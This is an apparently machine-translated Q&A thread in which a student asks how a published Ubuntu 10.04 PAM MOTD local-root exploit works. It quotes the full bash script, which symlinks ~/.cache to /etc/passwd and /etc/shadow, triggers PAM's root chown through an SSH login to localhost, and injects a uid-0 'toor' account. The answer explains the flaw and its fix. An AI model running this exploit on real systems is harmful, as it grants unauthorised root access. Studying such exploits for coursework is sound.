use*_*724 7 ssh permissions security root
对于我大学的计算机安全任务,我需要找到并了解在 ubuntu 10.04 上运行的漏洞。我已经在一台 Ubuntu 10.04 机器(我拥有)上找到并测试了一个
这是漏洞利用,以普通用户身份运行,为您提供 root 访问权限。取自进攻性安全网站。
P='toor:x:0:0:root:/root:/bin/bash'
S='toor:$6$tPuRrLW7$m0BvNoYS9FEF9/Lzv6PQospujOKt0giv.7JNGrCbWC1XdhmlbnTWLKyzHz.VZwCcEcYQU5q2DLX.cI7NQtsNz1:14798:0:99999:7:::'
echo "[*] Ubuntu PAM MOTD local root"
[ -z "$(which ssh)" ] && echo "[-] ssh is a requirement" && exit 1
[ -z "$(which ssh-keygen)" ] && echo "[-] ssh-keygen is a requirement" && exit 1
[ -z "$(ps -u root |grep sshd)" ] && echo "[-] a running sshd is a requirement" && exit 1
backup() {
[ -e "$1" ] && [ -e "$1".bak ] && rm -rf "$1".bak
[ -e "$1" ] || return 0
mv "$1"{,.bak} || return 1
echo "[*] Backuped $1"
}
restore() {
[ -e "$1" ] && rm -rf "$1"
[ -e "$1".bak ] || return 0
mv "$1"{.bak,} || return 1
echo "[*] Restored $1"
}
key_create() {
backup ~/.ssh/authorized_keys
ssh-keygen -q -t rsa -N '' -C 'pam' -f "$KEY" || return 1
[ ! -d ~/.ssh ] && { mkdir ~/.ssh || return 1; }
mv "$KEY.pub" ~/.ssh/authorized_keys || return 1
echo "[*] SSH key set up"
}
key_remove() {
rm -f "$KEY"
restore ~/.ssh/authorized_keys
echo "[*] SSH key removed"
}
own() {
[ -e ~/.cache ] && rm -rf ~/.cache
ln -s "$1" ~/.cache || return 1
echo "[*] spawn ssh"
ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
[ -w "$1" ] || { echo "[-] Own $1 failed"; restore ~/.cache; bye; }
echo "[+] owned: $1"
}
bye() {
key_remove
exit 1
}
KEY="$(mktemp -u)"
key_create || { echo "[-] Failed to setup SSH key"; exit 1; }
backup ~/.cache || { echo "[-] Failed to backup ~/.cache"; bye; }
own /etc/passwd && echo "$P" >> /etc/passwd
own /etc/shadow && echo "$S" >> /etc/shadow
restore ~/.cache || { echo "[-] Failed to restore ~/.cache"; bye; }
key_remove
echo "[+] Success! Use password toor to get root"
su -c "sed -i '/toor:/d' /etc/{passwd,shadow}; chown root: /etc/{passwd,shadow}; \
chgrp shadow /etc/shadow; nscd -i passwd >/dev/null 2>&1; bash" toor
Run Code Online (Sandbox Code Playgroud)
我理解为什么它会备份文件并生成一个密钥供ssh
以后使用,并且它在缓存文件(运行脚本的用户有权读写的文件)和该文件之间建立软链接你想拥有所有权。
我的东西不明白的是,为什么是echo "$P" >> /etc/passwd
和echo "$S" >> /etc/shadow
这些文件而不是文件缓存取得?这些文件和缓存文件之间的软链接的目的不就是能够写入吗?
$USER
在脚本中的那个点如何获得在 shadow 和 passwd 上写入的权限?答案显然与对 localhost 进行的 ssh 有关,但是为什么这个 ssh 授予这些权限?
之后我知道会发生什么,一旦两个文件都被修改,那么用户 toor 就拥有 root 权限并使用 su 命令调用。我的主要问题是理解ssh -o 'NoHostAuthenticationForLocalhost yes' -i "$KEY" localhost true
让您获得对 shadow 和 passwd 的写入权限。
Oli*_*Oli 11
Ubuntu 9.10 上 PAM 中 1.1.0-2ubuntu1.1 之前的 libpam-modules 中的 pam_motd(又名 MOTD 模块)和 Ubuntu 10.04 上 PAM 中 1.1.1-2ubuntu5 之前的 libpam-modules 允许本地用户更改任意文件的所有权通过对用户主目录中的 .cache 进行符号链接攻击,与“用户文件戳”和 motd.legal-notice 文件相关。
这基本上意味着,在使用 SSH 登录时,PAM(身份验证模块,以 root 身份运行)会尝试chown $USER: ~/.cache
. 它没有查看那是什么,因此所有权更改正在传播到链接文件。
这允许您拥有然后编辑系统文件并获得根级访问权限。
虽然.cache
被符号链接到/etc/{passwd,shadow}
他们可以回响到.cache
......但为什么要打扰?到那时,这些文件的文件所有权已更改为$USER
. 它们可以自由编辑。
只是为了回答您的评论:
它没有给你许可,它(或者我应该说它的 PAM 模块)是改变所有权的东西。但是,是的,PAM 所做的就是问题所在。
符号链接~/.cache
只是漏洞利用的重定向。是必需的,以便在您登录 PAM(以 root 身份运行)时尝试chown
链接文件。这就是那里的漏洞。
这是一个疏忽,通过在输入任何代码之前删除特权来修复它。